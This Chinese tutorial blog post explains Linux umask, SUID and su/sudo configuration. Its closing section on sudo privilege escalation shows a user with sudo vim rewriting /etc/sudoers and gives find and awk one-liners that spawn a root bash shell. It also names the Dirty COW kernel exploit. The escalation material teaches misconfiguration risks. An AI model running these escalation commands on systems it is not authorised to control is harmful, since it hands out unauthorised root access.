本文主要是介绍Linux权限、掩码,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
查看掩码
[root@MiWiFi-RA67-srv ~]# umask
0022
# 查看权限
目录的初始权限为755,文件的初始权限为644,这两个数字是通过umask掩码计算出来的。
r读权限,值为4
w写权限,值为2
x可操作权限,值为1
文件权限:0666-0022=0644
目录权限:0777-0022=0755
修改掩码值,改变用户创建文件和文件夹的初始权限,建议改成偶数,方便系统计算
[root@MiWiFi-RA67-srv ~]# vi /etc/profile
if [ $UID -gt 199 ] && [ "`/usr/bin/id -gn`" = "`/usr/bin/id -un`" ]; thenumask 002 # 普通用户
else#umask 022 # root用户umask 044
suid特殊权限
suid:
概念:某个可执行文件具有超级管理员权限。普通用户也可以使用,主要针对的是命令文件。
passwd修改密码指令
# 查看passwd可执行文件的位置
[root@MiWiFi-RA67-srv ~]# which passwd
/usr/bin/passwd
# 查看执行权限 -rwsr 体现suid标志
[root@MiWiFi-RA67-srv ~]# ll /usr/bin/passwd
-rwsr-xr-x. 1 root root 27856 4月 1 2020 /usr/bin/passwd
# 删除特殊权限位 普通用户无法执行该指令了
[root@MiWiFi-RA67-srv ~]# chmod u-s /usr/bin/passwd
-rw-r-xr-x. 1 root root 27856 4月 1 2020 /usr/bin/passwd
# 添加suid标记
[root@MiWiFi-RA67-srv ~]# chmod u+s /usr/bin/passwd
su和sudo
su全称switch user 切换用户
sudo全称superuser do 授权,授予普通用户高级权限。一个命令一个命令的授权。
# 切换用户,相当于单独开辟一个终端窗口
su - 用户名
root用户切换普通用户不需要输入密码
exit 切换回原来的用户
sudo只有root用户才能配置
# 配置/etc/sudoers
# 直接使用visudo就能编辑这个文件
[root@MiWiFi-RA67-srv ~]# visudo
# 用户民 所有终端 = 运行的用户身份 命令 ALL是所有指令,不能所有的,不然权限太高
# 在100行下面添加如下内容
wzx ALL=(ALL) /bin/systemctl,/usr/bin/vim,/usr/sbin/reboot #单独给指令权限,而且要写指令的绝对路径,,逗号分割
# 修改完配置文件,保存退出之后,立马就生效了,不需要重启或者重新登陆。# 切换到普通的用户,查看可以使用的授权命令
sudo -l
# 普通用户执行授权指令
[wzx@MiWiFi-RA67-srv ~]$ sudo reboot
[wzx@MiWiFi-RA67-srv ~]$ sudo vim /etc/shadow
sudo提权
利用sudo授权时控制的不合理,来进行给普通用户提权。
[wzx@MiWiFi-RA67-srv ~]$ sudo vim /etc/sudoers
100gg
wzx ALL=(ALL) /bin/systemctl,/usr/bin/vim,/usr/sbin/reboot
修改为 ALL
由于授权不当,给普通用户授予了vim权限,导致普通用户可以修改/etc/sudoers文件。
# find
[wzx@MiWiFi-RA67-srv ~]$ sudo find . -exec bash \;
# awk
[wzx@MiWiFi-RA67-srv ~]$ sudo awk 'BEGIN {system("/bin/bash")}' 任意文件
授权时,只要所授予的指令能够调用系统指令,就可以以root的身份执行bash。bash打开新的终端
脏牛提权
dcow全称dirty cow,是利用Linux内核的内存子系统在处理写入时复制时产生了竞争条件。
这篇关于Linux权限、掩码的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!